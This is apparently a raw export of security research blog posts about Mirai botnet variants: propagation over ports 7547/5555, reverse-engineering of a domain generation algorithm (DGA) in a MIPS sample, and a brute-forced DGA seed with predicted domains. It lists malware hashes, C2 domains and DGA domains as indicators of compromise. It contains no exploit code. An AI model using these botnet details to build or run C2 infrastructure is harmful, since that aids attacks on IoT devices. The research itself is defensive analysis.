(securityupdates.us, timeserver.host) and two report servers (rep.securityupdates.us, ntp.timeserver.host)\n<div class=\"image-div img-div-size-medium\" style=\"text-align:center\">\n\n</div>\n\nIt is noteworthy the exact combination, both C2s and report servers had previously been embedded in the “old” mirai sample that we saw a while ago on 2016-11-09. \n\nDetail of the sample of 2016-11-09 variant:\n\n1. CRC32: 2BD6603A\n2. MD5: EF713BDD7B06097447A25F4B35C738F6\n3. SHA-1: 44D9C6A682E48DFA86BACDBD68F11A1F3CB78D07\n\n<div class=\"image-div img-div-size-medium\" style=\"text-align:center\">\n\n</div>\nIn other words, the operator of new variant on port 7547 and the previous mirai operator are very likely the same group of people.\n\n###Bot Overlap\n\nThe following diagram shows the overlap of all the bots we captured in our honeypot that have scanned port 23/2323/5555/7547.\n\n\n\nWe can see that:\n\n1.\t96.4% of the Mirai Bots scan port 23 or port 2323. Among them, 79% only scan port 23 and 6.4% only scan 2323, 11% scan both port 23 and 2323.\n2.\tAbout 3.1% of the Mirai bots only scan port 7547. The infection speed is amazing considering that Mirai’s propagation on this port started only three days ago.\n3.\tNo more than 0.1% of the bots show other cross-scanning behaviors among the four-ports, which is still quite rare.\n\n###Infected Device Breakdown\n\nAll together we have logged 46,653 IPs that were infected with this new 7547 variants, and we tried to ID these known infected IPs by sending out requests that emulate tr064|tr069 protocol so we would be able to get accurate device info. The following is a breakdown of the infected device lists from 5976 IPs that response us. (The majority of the sources might have that port blocked by mirai, or device reboot, or IP changing, or various network issues).\n\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

35

post

2016-12-09T14:51:46.000Z

63873b9a8b1c1e0007f52eee

new-mirai-variant-with-dga

2020-08-11T04:02:39.000Z

public

published

2016-12-09T15:16:27.000Z

Now Mirai Has DGA Feature Built in

<!--kg-card-begin: markdown--><h3 id="updatehistory">Update History</h3> <ul> <li>2016-12-09 first version</li> <li>2016-12-12 fig-0 update, fix a TLD choosing error in our DGA implement</li> </ul> <h3 id="summary">Summary</h3> <p>Nearly 2 weeks ago, 2 new infection vectors (aka TCP ports of 7547 and 5555) were found being used to spread MIRAI malwares</p> <ul> <li>&lt;<a href="__GHOST_URL__/a-few-observations-of-the-new-mirai-variant-on-port-7547/">A Few Observations of The New Mirai Variant on Port 7547</a>&gt;</li> </ul> <p>My colleague Genshen quickly set up some honeypots for that sort of vectors and soon had his harvests: 11 samples were captured on Nov 28th. Twill now 53 unique samples have been captured by our honeypots from 6 hosting servers.</p> <p>When analyzing one of the new samples, my colleague Wenji found some DGA like code and doubted there was DGA feature there. The doubt was soon verified by evidences collected from our sandboxes. Detailed RE work shows there does exist a DGA feature in the newly distributed MIRAI samples spread through TCP ports 7547 and 5555. In this blog I would like to introduce our findings. For a quick information, the attributes of the found DGA are summarized as follow:</p> <ol> <li>3 TLDs are used: online/tech/support.</li> <li>the L2 domain has a fixed length of 12-byte, with each char randomly chosen from <span style="text-decoration:line-through;">‘a’~’z’</span> ‘a’~'y'.</li> <li><span style="text-decoration:line-through;"> the generated domain is only determined by month, day and hardcoded seed string. </span><br> the generated domain is determined by <code>year</code>, month, day and hardcoded seed string.</li> <li>only one domain is generated in one single day, so the maxium DGA domain number is 365.</li> <li>the DGA domains are only used when the hardcoded C2 domains fail to resolve.</li> </ol> <p>With the learned knowledge, we re-implemented the DGA in our program, and used it to predict all 365 possible DGA domains. When looking up their registration information, we found some of them have been registered by the MIRAI author. They are:</p> <p><a href="__GHOST_URL__/content/images/2016/12/mirai_dga_registered_by_author.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_registered_by_author.png" class="kg-image"/></a><div align="center">Fig-0, registered DGA domains</div></p> <p>And it is worth noticing that the author <a href="mailto:[email protected]">[email protected]</a> has already registered other mirai C2 domain:</p> <ul> <li>zugzwang.me email <a href="mailto:[email protected]">[email protected]</a></li> </ul> <h3 id="sampleandanalysis">Sample and Analysis</h3> <p>The sample used as illustration in this blog is as follows:<br> <font size="3"></p> <ul> <li><strong>MD5</strong>: bf136fb3b350a96fd1003b8557bb758a</li> <li><strong>SHA256</strong>: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a</li> <li><strong>File type</strong>: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped<br> </font></li> </ul> <p>The sample is stripped but not packed. According to the experience learned from previously found samples, we soon identified its main modules. The code comparison showed that its resolv_cnc_addr function has a very different CFG (control flow graph) from the previously found samples. The new version of CFG is shown Fig-1.<br> <a href="__GHOST_URL__/content/images/2016/12/mirai_dga_resolv_cnc_addr_cfg.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_resolv_cnc_addr_cfg.png" class="kg-image"/></a><div align="center">Fig-1, resolv_cnc_addr CFG</div></p> <p>At the function beginning, since there are as much as 3 C2 controllers are hardcoded in the sample, a random number is generated to randomly select a C2 server from the first and second ones, as shown in Fig-2.</p> <p><a href="__GHOST_URL__/content/images/2016/12/mirai_dga_choose_1st_cnc.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_choose_1st_cnc.png" class="kg-image"/></a><div align="center">Fig-2, resolv_cnc_addr block 1</div></p> <p>If the selected C2 domain fails to resolve, the bot will neither resolve the unselected nor the 3rd one, but will take a judge to decide whether to take the DGA branch or to resolve the 3rd C2 domain according to current date, as shown in Fig-3.<br> <a href="__GHOST_URL__/content/images/2016/12/mirai_dga_judge_dga.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_judge_dga.png" class="kg-image"/></a><div align="center">Fig-3, DGA determination</div></p> <p>From the code snippets we can see that if current date is between Nov 1st and Dec 3rd, the 3rd CNC domain will be used. Otherwise the DGA branch will be executed. It indicates that the author doesn’t want their DGA domains being used before Dec 4th, which is verified by the fact that the firstly registered MIRAI DGA domain just corresponds to Dec 4th.</p> <p>The DGA main funcition is named dga_gen_domain. The domain is generated based on a seed number and current date. The seed is converted from a hardcoded hex-format string by calling strtol(). It seems a wrong string of “\x90\x91\x80\x90\x90\x91\x80\x90” was configured, which leads to the strtol() always returning 0.<br> The local date is got by calling C library functions of time() and localtime(). Only month and day are used here, as shown in Fig-4.<br> <a href="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part1-1.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part1-1.png" class="kg-image"/></a><div align="center">Fig-4, dga_gen_domain entry</div></p> <p>The L2 domain is generated by repeatedly executing the code block shown in Fig-5. Its length is determined by $t5 and $t2. They are set in Fig-4, from which we can tell that the L2 domain length is 12.</p> <p><a href="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part2-1.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part2-1.png" class="kg-image"/></a><div align="center">Fig-5, L2 domain generation loop</div></p> <p>The TLD is determined by the residual value in register $S0 as shown in Fig-6. We can see that 3 TLDs are used here.</p> <p><a href="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3.png"><img src="__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3.png" class="kg-image"/></a><div align="center">Fig-6, TLD determination</div></p> <h3 id="ioc">IoC</h3> <p>Currently the DGA feature is found in the following samples.</p> <ul> <li>005241cf76d31673a752a76bb0ba7118</li> <li>05891dbabc42a36f33c30535f0931555</li> <li>0eb51d584712485300ad8e8126773941</li> <li>15b35cfff4129b26c0f07bd4be462ba0</li> <li>2da64ae2f8b1e8b75063760abfc94ecf</li> <li>41ba9f3d13ce33526da52407e2f0589d</li> <li>4a8145ae760385c1c000113a9ea00a3a</li> <li>551380681560849cee3de36329ba4ed3</li> <li>72bbfc1ff6621a278e16cfc91906109f</li> <li>73f4312cc6f5067e505bc54c3b02b569</li> <li>7d490eedc5b46aff00ffaaec7004e2a8</li> <li>863dcf82883c885b0686dce747dcf502</li> <li>bf136fb3b350a96fd1003b8557bb758a</li> <li>bf650d39eb603d92973052ca80a4fdda</li> <li>d89b1be09de36e326611a2abbedb8751</li> <li>dbd92b08cbff8455ff76c453ff704dc6</li> <li>eba670256b816e2d11f107f629d08494</li> </ul> <p>They all share the same DGA in terms of seed string and algorithm.<br> The hardcoded C2 domains in the samples are as follow:</p> <ul> <li>zugzwang.me</li> <li>tr069.online</li> <li>tr069.tech</li> <li>tr069.support</li> </ul> <p>We will keep an eye on the progress of this DGA variant, stay tuned for future update.</p> <!--kg-card-end: markdown-->

Update History * 2016-12-09 first version * 2016-12-12 fig-0 update, fix a TLD choosing error in our DGA implement Summary Nearly 2 weeks ago, 2 new infection vectors (aka TCP ports of 7547 and 5555) were found being used to spread MIRAI malwares * <A Few Observations of The New Mirai Variant on Port 7547> My colleague Genshen quickly set up some honeypots for that sort of vectors and soon had his harvests: 11 samples were captured on Nov 28th. Twill now 53 unique samples have been captured by our honeypots from 6 hosting servers. When analyzing one of the new samples, my colleague Wenji found some DGA like code and doubted there was DGA feature there. The doubt was soon verified by evidences collected from our sandboxes. Detailed RE work shows there does exist a DGA feature in the newly distributed MIRAI samples spread through TCP ports 7547 and 5555. In this blog I would like to introduce our findings. For a quick information, the attributes of the found DGA are summarized as follow: 1. 3 TLDs are used: online/tech/support. 2. the L2 domain has a fixed length of 12-byte, with each char randomly chosen from ‘a’~’z’ ‘a’~'y'. 3. the generated domain is only determined by month, day and hardcoded seed string. the generated domain is determined by year, month, day and hardcoded seed string. 4. only one domain is generated in one single day, so the maxium DGA domain number is 365. 5. the DGA domains are only used when the hardcoded C2 domains fail to resolve. With the learned knowledge, we re-implemented the DGA in our program, and used it to predict all 365 possible DGA domains. When looking up their registration information, we found some of them have been registered by the MIRAI author. They are: Fig-0, registered DGA domains And it is worth noticing that the author [email protected] has already registered other mirai C2 domain: * zugzwang.me email [email protected] Sample and Analysis The sample used as illustration in this blog is as follows: * MD5: bf136fb3b350a96fd1003b8557bb758a * SHA256: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a * File type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped The sample is stripped but not packed. According to the experience learned from previously found samples, we soon identified its main modules. The code comparison showed that its resolv_cnc_addr function has a very different CFG (control flow graph) from the previously found samples. The new version of CFG is shown Fig-1. Fig-1, resolv_cnc_addr CFG At the function beginning, since there are as much as 3 C2 controllers are hardcoded in the sample, a random number is generated to randomly select a C2 server from the first and second ones, as shown in Fig-2. Fig-2, resolv_cnc_addr block 1 If the selected C2 domain fails to resolve, the bot will neither resolve the unselected nor the 3rd one, but will take a judge to decide whether to take the DGA branch or to resolve the 3rd C2 domain according to current date, as shown in Fig-3. Fig-3, DGA determination From the code snippets we can see that if current date is between Nov 1st and Dec 3rd, the 3rd CNC domain will be used. Otherwise the DGA branch will be executed. It indicates that the author doesn’t want their DGA domains being used before Dec 4th, which is verified by the fact that the firstly registered MIRAI DGA domain just corresponds to Dec 4th. The DGA main funcition is named dga_gen_domain. The domain is generated based on a seed number and current date. The seed is converted from a hardcoded hex-format string by calling strtol(). It seems a wrong string of “\x90\x91\x80\x90\x90\x91\x80\x90” was configured, which leads to the strtol() always returning 0. The local date is got by calling C library functions of time() and localtime(). Only month and day are used here, as shown in Fig-4. Fig-4, dga_gen_domain entry The L2 domain is generated by repeatedly executing the code block shown in Fig-5. Its length is determined by $t5 and $t2. They are set in Fig-4, from which we can tell that the L2 domain length is 12. Fig-5, L2 domain generation loop The TLD is determined by the residual value in register $S0 as shown in Fig-6. We can see that 3 TLDs are used here. Fig-6, TLD determination IoC Currently the DGA feature is found in the following samples. * 005241cf76d31673a752a76bb0ba7118 * 05891dbabc42a36f33c30535f0931555 * 0eb51d584712485300ad8e8126773941 * 15b35cfff4129b26c0f07bd4be462ba0 * 2da64ae2f8b1e8b75063760abfc94ecf * 41ba9f3d13ce33526da52407e2f0589d * 4a8145ae760385c1c000113a9ea00a3a * 551380681560849cee3de36329ba4ed3 * 72bbfc1ff6621a278e16cfc91906109f * 73f4312cc6f5067e505bc54c3b02b569 * 7d490eedc5b46aff00ffaaec7004e2a8 * 863dcf82883c885b0686dce747dcf502 * bf136fb3b350a96fd1003b8557bb758a * bf650d39eb603d92973052ca80a4fdda * d89b1be09de36e326611a2abbedb8751 * dbd92b08cbff8455ff76c453ff704dc6 * eba670256b816e2d11f107f629d08494 They all share the same DGA in terms of seed string and algorithm. The hardcoded C2 domains in the samples are as follow: * zugzwang.me * tr069.online * tr069.tech * tr069.support We will keep an eye on the progress of this DGA variant, stay tuned for future update.

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n### Update History\n* 2016-12-09 first version\n* 2016-12-12 fig-0 update, fix a TLD choosing error in our DGA implement\n\n### Summary\nNearly 2 weeks ago, 2 new infection vectors (aka TCP ports of 7547 and 5555) were found being used to spread MIRAI malwares \n\n* <[A Few Observations of The New Mirai Variant on Port 7547](__GHOST_URL__/a-few-observations-of-the-new-mirai-variant-on-port-7547/)>\n\nMy colleague Genshen quickly set up some honeypots for that sort of vectors and soon had his harvests: 11 samples were captured on Nov 28th. Twill now 53 unique samples have been captured by our honeypots from 6 hosting servers. \n\nWhen analyzing one of the new samples, my colleague Wenji found some DGA like code and doubted there was DGA feature there. The doubt was soon verified by evidences collected from our sandboxes. Detailed RE work shows there does exist a DGA feature in the newly distributed MIRAI samples spread through TCP ports 7547 and 5555. In this blog I would like to introduce our findings. For a quick information, the attributes of the found DGA are summarized as follow: \n\n1. 3 TLDs are used: online/tech/support. \n2. the L2 domain has a fixed length of 12-byte, with each char randomly chosen from <span style=\"text-decoration:line-through;\">‘a’~’z’</span> ‘a’~'y'.\n3. <span style=\"text-decoration:line-through;\"> the generated domain is only determined by month, day and hardcoded seed string. </span>\nthe generated domain is determined by `year`, month, day and hardcoded seed string.\n4. only one domain is generated in one single day, so the maxium DGA domain number is 365.\n5. the DGA domains are only used when the hardcoded C2 domains fail to resolve.\n\nWith the learned knowledge, we re-implemented the DGA in our program, and used it to predict all 365 possible DGA domains. When looking up their registration information, we found some of them have been registered by the MIRAI author. They are:\n\n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_registered_by_author.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_registered_by_author.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-0, registered DGA domains</div>\n\nAnd it is worth noticing that the author [email protected] has already registered other mirai C2 domain:\n\n* zugzwang.me email [email protected]\n\n### Sample and Analysis\nThe sample used as illustration in this blog is as follows:\n<font size=\"3\">\n* **MD5**: bf136fb3b350a96fd1003b8557bb758a \n* **SHA256**: 971156ec3dca4fa5c53723863966ed165d546a184f3c8ded008b029fd59d6a5a \n* **File type**: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped \n</font>\n\nThe sample is stripped but not packed. According to the experience learned from previously found samples, we soon identified its main modules. The code comparison showed that its resolv\\_cnc\\_addr function has a very different CFG (control flow graph) from the previously found samples. The new version of CFG is shown Fig-1. \n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_resolv_cnc_addr_cfg.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_resolv_cnc_addr_cfg.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-1, resolv_cnc_addr CFG</div>\n\nAt the function beginning, since there are as much as 3 C2 controllers are hardcoded in the sample, a random number is generated to randomly select a C2 server from the first and second ones, as shown in Fig-2.\n\n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_choose_1st_cnc.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_choose_1st_cnc.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-2, resolv_cnc_addr block 1</div>\n\nIf the selected C2 domain fails to resolve, the bot will neither resolve the unselected nor the 3rd one, but will take a judge to decide whether to take the DGA branch or to resolve the 3rd C2 domain according to current date, as shown in Fig-3.\n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_judge_dga.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_judge_dga.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-3, DGA determination</div>\n\nFrom the code snippets we can see that if current date is between Nov 1st and Dec 3rd, the 3rd CNC domain will be used. Otherwise the DGA branch will be executed. It indicates that the author doesn’t want their DGA domains being used before Dec 4th, which is verified by the fact that the firstly registered MIRAI DGA domain just corresponds to Dec 4th. \n\nThe DGA main funcition is named dga\\_gen\\_domain. The domain is generated based on a seed number and current date. The seed is converted from a hardcoded hex-format string by calling strtol(). It seems a wrong string of “\\x90\\x91\\x80\\x90\\x90\\x91\\x80\\x90” was configured, which leads to the strtol() always returning 0. \nThe local date is got by calling C library functions of time() and localtime(). Only month and day are used here, as shown in Fig-4. \n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part1-1.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part1-1.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-4, dga_gen_domain entry</div>\n\nThe L2 domain is generated by repeatedly executing the code block shown in Fig-5. Its length is determined by $t5 and $t2. They are set in Fig-4, from which we can tell that the L2 domain length is 12.\n\n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part2-1.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part2-1.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-5, L2 domain generation loop</div>\n\nThe TLD is determined by the residual value in register $S0 as shown in Fig-6. We can see that 3 TLDs are used here. \n\n<a href=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3.png\"><img src=\"__GHOST_URL__/content/images/2016/12/mirai_dga_main_func_part3.png\" class=\"kg-image\"/></a><div align=\"center\">Fig-6, TLD determination</div>\n\n### IoC\n\nCurrently the DGA feature is found in the following samples. \n\n* 005241cf76d31673a752a76bb0ba7118 \n* 05891dbabc42a36f33c30535f0931555 \n* 0eb51d584712485300ad8e8126773941 \n* 15b35cfff4129b26c0f07bd4be462ba0 \n* 2da64ae2f8b1e8b75063760abfc94ecf \n* 41ba9f3d13ce33526da52407e2f0589d \n* 4a8145ae760385c1c000113a9ea00a3a \n* 551380681560849cee3de36329ba4ed3 \n* 72bbfc1ff6621a278e16cfc91906109f \n* 73f4312cc6f5067e505bc54c3b02b569 \n* 7d490eedc5b46aff00ffaaec7004e2a8 \n* 863dcf82883c885b0686dce747dcf502 \n* bf136fb3b350a96fd1003b8557bb758a \n* bf650d39eb603d92973052ca80a4fdda \n* d89b1be09de36e326611a2abbedb8751 \n* dbd92b08cbff8455ff76c453ff704dc6 \n* eba670256b816e2d11f107f629d08494 \n\nThey all share the same DGA in terms of seed string and algorithm.\nThe hardcoded C2 domains in the samples are as follow:\n\n* zugzwang.me \n* tr069.online \n* tr069.tech \n* tr069.support\n\nWe will keep an eye on the progress of this DGA variant, stay tuned for future update.\n"}]],"markups":[],"sections":[[10,0]],"ghostVersion":"3.0"}

36

post

2016-12-16T11:56:18.000Z

63873b9a8b1c1e0007f52eef

new-mirai-dga-seed-0x91-brute-forced

2018-10-06T08:57:51.000Z

public

published

2016-12-16T15:37:26.000Z

New Mirai DGA Seed 0x91 Brute Forced

<!--kg-card-begin: markdown--><p>Up till very recently, through the samples we had learned that the Mirai DGA seeds are all fixed to 0, as detailed in blog <a href="__GHOST_URL__/new-mirai-variant-with-dga/">Now Mirai Has DGA Feature Built in</a>, and were able to predict all corresponding DGA domains.</p> <p>Surprisingly, although we have not see any related samples, just few days ago, our PassiveDNS based anomaly detect module captured some new domains that matches the characteristics of the mirai DGA algorithm but not belong to any seed 0 series.</p> <p>The L2 domains conform to mirai DGA: 12 characters and a-y only. But these domains do not belong to DGA seed 0 series. This leads us to speculate that a new mirai variant and new DGA seed is emerging.</p> <h3 id="dgadomainsgeneratedwithnonzerodgaseed">DGA Domains Generated With Non-zero DGA Seed</h3> <p>The new suspicious domain are listed below:</p> <p><img src="__GHOST_URL__/content/images/2016/12/DGA-domains-for-seed-0x91.png" alt="" loading="lazy"></p> <p>And the domains's query patterns are as follows:</p> <p><img src="__GHOST_URL__/content/images/2016/12/0x91_dga_domain_dns_flow_chart.png" alt="" loading="lazy"></p> <p>A detailed study on these domains shows more findings:</p> <ol> <li>The L2 domains conform to mirai DGA, 12 characters, a-y only. But these domains does not belong to DGA seed 0 series.</li> <li>All TLDs for these domains are fixed to <code>.online</code>, differing from previous TLDs of <code>online</code> / <code>tech</code> / <code>support</code>. Maybe the author want just keep &quot;<em>online</em>&quot;, but no more &quot;<em>tech support</em>&quot;.</li> <li>Of all the domains, the first seen starts almost strictly at 00:00:00 of the day, with the last seen almost always strictly ends at 00:00:00 on the next. Those time window overlaps between the two consequential domains are very short, in minutes. Considering such a strict time window control, we think one possible explanation is that those DNS queries were eventually launched by some mirai bots.</li> </ol> <h3 id="newdgaseed0x91bruteforced">New DGA Seed 0x91 Brute-forced</h3> <p>Under the guidance of the precise mirai algorithm, we are pretty sure we are able to brute-force the new DGA seeds, no matter where it hides in the int32 4G space. And the brute force did not take long before we cracked the new seed:</p> <ul> <li>0x91</li> </ul> <p>The new DGA seed is used to predict all the 2016-12 domains, as follows. Note that almost all these domains are registered by mirai author, with the exception 18/19/27/29/30 on which the algorithm itself can not generated a functional DGA domain.</p> <ul> <li>2016/12/08 pcrpxewicouh.online</li> <li>2016/12/09 rwoywonuobcr.online</li> <li>2016/12/10 liusqxocbedg.online</li> <li>2016/12/11 ndoiabgxgmew.online</li> <li>2016/12/12 hwjqtwkectlo.online</li> <li>2016/12/13 mtoyrjnvlqdx.online</li> <li>2016/12/14 ddfqdttkmoyv.online</li> <li>2016/12/15 iaxjxyqjckqi.online</li> <li>2016/12/16 nuuxndqlhiwb.online</li> <li>2016/12/17 pxvmqwpemiif.online</li> <li>2016/12/18 dfftxpajygxy</li> <li>2016/12/19 fiotbgopgnxv</li> <li>2016/12/20 shjwhbdgjyba.online</li> <li>2016/12/21 xmjvlucdsegk.online</li> <li>2016/12/22 irkbpugkwsir.online</li> <li>2016/12/23 nwnrbhnesmtk.online</li> <li>2016/12/24 wafunxdngsfc.online</li> <li>2016/12/25 ydcvedrxcmym.online</li> <li>2016/12/26 sggiyqadywsv.online</li> <li>2016/12/27 ujmnvkyeltfv</li> <li>2016/12/28 cmhewcvopvno.online</li> <li>2016/12/29 hrjlyymassqx</li> <li>2016/12/30 xsvftelyclfh</li> <li>2016/12/31 dxukryyyqnhl.online</li> </ul> <h3 id="openquestions">Open Questions</h3> <p>Although we can explain most of what we saw in our data, there are still some open questions. We list them here with a hope to see feedback from the security community.</p> <ol> <li>On December 12, there is no 0x91 DGA domain and corresponding DNS data flow. As shown in the previous table, the 2016-12-12 0x91 domain is hwjqtwkectlo.online. This domain has not been registered yet, and we are pretty sure there is no DNS query for this domain, otherwise we could tell from the DNS error data stream. Why this domain is not registered? Maybe the author forget to do that. But why there is not even a single DNS request? Especially given the continuous DNS requests before and after the day?</li> <li>For all the bot behind the DNS query, are they from the same group, or totally different ones in each day? For the former, why do they say good-bye to the old C2 and embrace the new one at about exactly 00:00:00? For the latter, why the traffic waves look so similar for each days?</li> <li>The bot traffic keeps falling in recent days, why? Are these bots completely get out of the mirai botnet? Or just captured by another mirai C2?</li> </ol> <!--kg-card-end: markdown-->

Up till very recently, through the samples we had learned that the Mirai DGA seeds are all fixed to 0, as detailed in blog Now Mirai Has DGA Feature Built in, and were able to predict all corresponding DGA domains. Surprisingly, although we have not see any related samples, just few days ago, our PassiveDNS based anomaly detect module captured some new domains that matches the characteristics of the mirai DGA algorithm but not belong to any seed 0 series. The L2 domains conform to mirai DGA: 12 characters and a-y only. But these domains do not belong to DGA seed 0 series. This leads us to speculate that a new mirai variant and new DGA seed is emerging. DGA Domains Generated With Non-zero DGA Seed The new suspicious domain are listed below: And the domains's query patterns are as follows: A detailed study on these domains shows more findings: 1. The L2 domains conform to mirai DGA, 12 characters, a-y only. But these domains does not belong to DGA seed 0 series. 2. All TLDs for these domains are fixed to .online, differing from previous TLDs of online / tech / support. Maybe the author want just keep "online", but no more "tech support". 3. Of all the domains, the first seen starts almost strictly at 00:00:00 of the day, with the last seen almost always strictly ends at 00:00:00 on the next. Those time window overlaps between the two consequential domains are very short, in minutes. Considering such a strict time window control, we think one possible explanation is that those DNS queries were eventually launched by some mirai bots. New DGA Seed 0x91 Brute-forced Under the guidance of the precise mirai algorithm, we are pretty sure we are able to brute-force the new DGA seeds, no matter where it hides in the int32 4G space. And the brute force did not take long before we cracked the new seed: * 0x91 The new DGA seed is used to predict all the 2016-12 domains, as follows. Note that almost all these domains are registered by mirai author, with the exception 18/19/27/29/30 on which the algorithm itself can not generated a functional DGA domain. * 2016/12/08 pcrpxewicouh.online * 2016/12/09 rwoywonuobcr.online * 2016/12/10 liusqxocbedg.online * 2016/12/11 ndoiabgxgmew.online * 2016/12/12 hwjqtwkectlo.online * 2016/12/13 mtoyrjnvlqdx.online * 2016/12/14 ddfqdttkmoyv.online * 2016/12/15 iaxjxyqjckqi.online * 2016/12/16 nuuxndqlhiwb.online * 2016/12/17 pxvmqwpemiif.online * 2016/12/18 dfftxpajygxy * 2016/12/19 fiotbgopgnxv * 2016/12/20 shjwhbdgjyba.online * 2016/12/21 xmjvlucdsegk.online * 2016/12/22 irkbpugkwsir.online * 2016/12/23 nwnrbhnesmtk.online * 2016/12/24 wafunxdngsfc.online * 2016/12/25 ydcvedrxcmym.online * 2016/12/26 sggiyqadywsv.online * 2016/12/27 ujmnvkyeltfv * 2016/12/28 cmhewcvopvno.online * 2016/12/29 hrjlyymassqx * 2016/12/30 xsvftelyclfh * 2016/12/31 dxukryyyqnhl.online Open Questions Although we can explain most of what we saw in our data, there are still some open questions. We list them here with a hope to see feedback from the security community. 1. On December 12, there is no 0x91 DGA domain and corresponding DNS data flow. As shown in the previous table, the 2016-12-12 0x91 domain is hwjqtwkectlo.online. This domain has not been registered yet, and we are pretty sure there is no DNS query for this domain, otherwise we could tell from the DNS error data stream. Why this domain is not registered? Maybe the author forget to do that. But why there is not even a single DNS request? Especially given the continuous DNS requests before and after the day? 2. For all the bot behind the DNS query, are they from the same group, or totally different ones in each day? For the former, why do they say good-bye to the old C2 and embrace the new one at about exactly 00:00:00? For the latter, why the traffic waves look so similar for each days? 3. The bot traffic keeps falling in recent days, why? Are these bots completely get out of the mirai botnet? Or just captured by another mirai C2?

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Up till very recently, through the samples we had learned that the Mirai DGA seeds are all fixed to 0, as detailed in blog [Now Mirai Has DGA Feature Built in](__GHOST_URL__/new-mirai-variant-with-dga/), and were able to predict all corresponding DGA domains.\n\nSurprisingly, although we have not see any related samples, just few days ago, our PassiveDNS based anomaly detect module captured some new domains that matches the characteristics of the mirai DGA algorithm but not belong to any seed 0 series.\n\nThe L2 domains conform to mirai DGA: 12 characters and a-y only. But these domains do not belong to DGA seed 0 series. This leads us to speculate that a new mirai variant and new DGA seed is emerging.\n\n###DGA Domains Generated With Non-zero DGA Seed\nThe new suspicious domain are listed below:\n\n\n\nAnd the domains's query patterns are as follows:\n\n\n\nA detailed study on these domains shows more findings:\n\n1. The L2 domains conform to mirai DGA, 12 characters, a-y only. But these domains does not belong to DGA seed 0 series. \n2. All TLDs for these domains are fixed to `.online`, differing from previous TLDs of `online` / `tech` / `support`. Maybe the author want just keep \"_online_\", but no more \"_tech support_\".\n3. Of all the domains, the first seen starts almost strictly at 00:00:00 of the day, with the last seen almost always strictly ends at 00:00:00 on the next. Those time window overlaps between the two consequential domains are very short, in minutes. Considering such a strict time window control, we think one possible explanation is that those DNS queries were eventually launched by some mirai bots.\n\n### New DGA Seed 0x91 Brute-forced \nUnder the guidance of the precise mirai algorithm, we are pretty sure we are able to brute-force the new DGA seeds, no matter where it hides in the int32 4G space. And the brute force did not take long before we cracked the new seed:\n\n* 0x91\n\nThe new DGA seed is used to predict all the 2016-12 domains, as follows. Note that almost all these domains are registered by mirai author, with the exception 18/19/27/29/30 on which the algorithm itself can not generated a functional DGA domain.\n\n* 2016/12/08\tpcrpxewicouh.online \n* 2016/12/09\trwoywonuobcr.online \n* 2016/12/10\tliusqxocbedg.online \n* 2016/12/11\tndoiabgxgmew.online \n* 2016/12/12\thwjqtwkectlo.online \n* 2016/12/13\tmtoyrjnvlqdx.online \n* 2016/12/14\tddfqdttkmoyv.online \n* 2016/12/15\tiaxjxyqjckqi.online \n* 2016/12/16\tnuuxndqlhiwb.online \n* 2016/12/17\tpxvmqwpemiif.online \n* 2016/12/18\tdfftxpajygxy \n* 2016/12/19\tfiotbgopgnxv \n* 2016/12/20\tshjwhbdgjyba.online \n* 2016/12/21\txmjvlucdsegk.online \n* 2016/12/22\tirkbpugkwsir.online \n* 2016/12/23\tnwnrbhnesmtk.online \n* 2016/12/24\twafunxdngsfc.online \n* 2016/12/25\tydcvedrxcmym.online \n* 2016/12/26\tsggiyqadywsv.online \n* 2016/12/27\tujmnvkyeltfv \n* 2016/12/28\tcmhewcvopvno.online \n* 2016/12/29\thrjlyymassqx \n* 2016/12/30\txsvftelyclfh \n* 2016/12/31\tdxukryyyqnhl.online \n\n###Open Questions\nAlthough we can explain most of what we saw in our data, there are still some open questions. We list them here with a hope to see feedback from the security community.\n\n 1. On December 12, there is no 0x91 DGA domain and corresponding DNS data flow. As shown in the previous table, the 2016-12-12 0x91 domain is hwjqtwkectlo.online. This domain has not been registered yet, and we are pretty sure there is no DNS query for this domain, otherwise we could tell from the DNS error data stream. Why this domain is not registered? Maybe the author forget to do that. But why there is not even a single DNS request? Especially given the continuous DNS requests before and after the day?\n 2. For all the bot behind the DNS query, are they from the same group, or totally different ones in each day? For the former, why do they say good-bye to the old C2 and embrace the new one at about exactly 00:00:00? For the latter, why the traffic waves look so 